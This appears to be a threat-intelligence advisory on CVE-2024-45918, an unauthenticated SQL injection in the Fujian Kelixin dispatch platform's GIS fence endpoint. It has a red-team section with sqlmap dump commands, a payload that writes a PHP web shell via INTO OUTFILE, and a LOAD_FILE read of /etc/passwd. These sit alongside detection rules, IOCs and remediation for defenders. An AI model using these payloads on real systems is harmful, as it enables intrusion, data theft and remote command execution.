CVE-2024-45918

Executive Summary

CVE-2024-45918 is a critical SQL Injection vulnerability discovered in the Fujian Kelixin Communication Command and Dispatch Platform, affecting versions up to and including 7.6.6.4391. The flaw resides in the /client/get_gis_fence.php endpoint, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized access to sensitive data, including user credentials, dispatch logs, and geographic information system (GIS) data. Given the platform's use in critical communication and dispatch operations, this vulnerability poses a significant risk to operational security and data confidentiality. No official patch has been released, and public proof-of-concept (PoC) code is available.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary, closed-source communication platform. The supply chain risk is limited to the direct deployment of the vulnerable software by the vendor's customers.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
• Confidentiality (C): High (H) - Full database read access possible.
• Integrity (I): High (H) - Data can be modified or deleted.
• Availability (A): High (H) - Database can be disrupted or destroyed.

Estimated CVSS Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote, unauthenticated exploitation with high impact on confidentiality, integrity, and availability makes this a top-priority vulnerability for any organization using this platform.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the get_gis_fence.php script. The application likely takes user-supplied input from an HTTP request parameter (e.g., id, fence_id, or similar) and directly concatenates it into a SQL query without proper sanitization or parameterization.

Vulnerable Code Flow (Hypothetical):

1. The PHP script receives a GET request to /client/get_gis_fence.php.
2. It extracts a parameter, e.g., $_GET['fence_id'].
3. It constructs a SQL query: SELECT * FROM gis_fences WHERE id = '{$_GET['fence_id']}'.
4. The query is executed against the database (likely MySQL/MariaDB).
5. The attacker can inject SQL by providing input like: 1' OR '1'='1.

Exploitation Mechanics:

• In-band (Error-based): The attacker can use UNION SELECT to retrieve data from other tables.
• Blind (Boolean/Time-based): If errors are suppressed, the attacker can use AND SLEEP(5) or AND 1=1 to infer data bit by bit.
• Out-of-band: If the database supports it, the attacker can use LOAD_FILE() or INTO OUTFILE to exfiltrate data via DNS or HTTP requests.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the secure coding practice would be to use prepared statements with parameterized queries.

Vulnerable Code (PHP - Pseudo):

<?php
$fence_id = $_GET['fence_id'];
$query = "SELECT * FROM gis_fences WHERE id = '$fence_id'";
$result = mysqli_query($conn, $query);
?>

Patched Code (PHP - Pseudo):

<?php
$fence_id = $_GET['fence_id'];
$stmt = $conn->prepare("SELECT * FROM gis_fences WHERE id = ?");
$stmt->bind_param("s", $fence_id);
$stmt->execute();
$result = $stmt->get_result();
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of Fujian Kelixin Communication Command and Dispatch Platform (<=7.6.6.4391).
• A tool like sqlmap or a web browser with developer tools.

Step 1: Identify the vulnerable parameter. Use a web proxy (Burp Suite) to intercept a request to /client/get_gis_fence.php. Look for parameters like id, fence_id, gid, etc.

Step 2: Manual SQL Injection Test. Send a request with a single quote to test for injection:

GET /client/get_gis_fence.php?fence_id=1' HTTP/1.1
Host: target.com

If an error message is returned (e.g., "You have an error in your SQL syntax"), the parameter is vulnerable.

Step 3: Automated Exploitation with sqlmap.

sqlmap -u "http://target.com/client/get_gis_fence.php?fence_id=1" --batch --dbs

This will enumerate all databases.

Step 4: Data Exfiltration.

sqlmap -u "http://target.com/client/get_gis_fence.php?fence_id=1" --batch -D <database_name> --tables
sqlmap -u "http://target.com/client/get_gis_fence.php?fence_id=1" --batch -D <database_name> -T <table_name> --dump

Step 5: Advanced Exploitation (if applicable).

• Write a webshell: If the database user has FILE privilege, attempt to write a PHP shell.

  ' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php" -- -
  

• Read sensitive files:

  ' UNION SELECT LOAD_FILE("/etc/passwd") -- -
  

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious SQL keywords in GET parameters (e.g., UNION, SELECT, SLEEP, OR 1=1).
• Look for requests to /client/get_gis_fence.php with unusual parameter lengths or characters.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Hunting:

• Search for database queries that take an unusually long time (time-based SQLi).
• Correlate failed login attempts with SQL injection attempts.
• Check for unexpected outbound network connections from the database server.

Containment:

• Immediately isolate the affected server from the network.
• Review database logs for unauthorized queries.
• If possible, disable the vulnerable endpoint or restrict access via firewall rules.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /client/get_gis_fence.php containing SQL keywords.
• Outbound connections from the database server to unknown IP addresses (data exfiltration).
• Unusual DNS queries (if out-of-band exfiltration is used).

File IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified or new files in the /client/ directory.
• Database dump files (e.g., *.sql, *.csv) in unusual locations.

Log IOCs:

• Web server logs showing SQL errors (e.g., "You have an error in your SQL syntax").
• Database logs showing queries with UNION, SLEEP, LOAD_FILE, INTO OUTFILE.
• System logs showing unexpected user creation or privilege escalation.

Detection Engineering

YARA Rule

rule CVE_2024_45918_SQLi_Scanner {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-45918"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45918"
    strings:
        $s1 = "/client/get_gis_fence.php" ascii wide nocase
        $s2 = "fence_id=" ascii wide nocase
        $sqli1 = "UNION" ascii wide nocase
        $sqli2 = "SELECT" ascii wide nocase
        $sqli3 = "SLEEP" ascii wide nocase
        $sqli4 = "OR 1=1" ascii wide nocase
        $sqli5 = "LOAD_FILE" ascii wide nocase
    condition:
        $s1 and $s2 and 1 of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt Against Fujian Kelixin Platform
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-45918
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '/client/get_gis_fence.php'
            - 'fence_id='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in a parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45918 SQL Injection Attempt"; flow:to_server,established; content:"/client/get_gis_fence.php"; http_uri; content:"fence_id="; http_uri; pcre:"/(UNION|SELECT|SLEEP|LOAD_FILE|INTO OUTFILE)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: If possible, disconnect the vulnerable platform from the network until a fix is applied.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting /client/get_gis_fence.php.
3. Restrict access: Limit access to the web interface to trusted IP addresses only via firewall rules.

Long-term Fix:

1. Contact the vendor: Fujian Kelixin Communication must release a security patch. Until then, no permanent fix is available.
2. Code review: If you have access to the source code, implement prepared statements for all database queries.
3. Upgrade: Monitor the vendor's website for a patched version and upgrade as soon as it is available.

Compensating Controls:

• Implement strict input validation (allow only alphanumeric characters for the fence_id parameter).
• Use a database user with minimal privileges (no FILE, CREATE, DROP privileges).
• Enable detailed logging and monitoring for the web and database servers.

Valters IT - DevSecOps & Cyber Threat Intelligence Report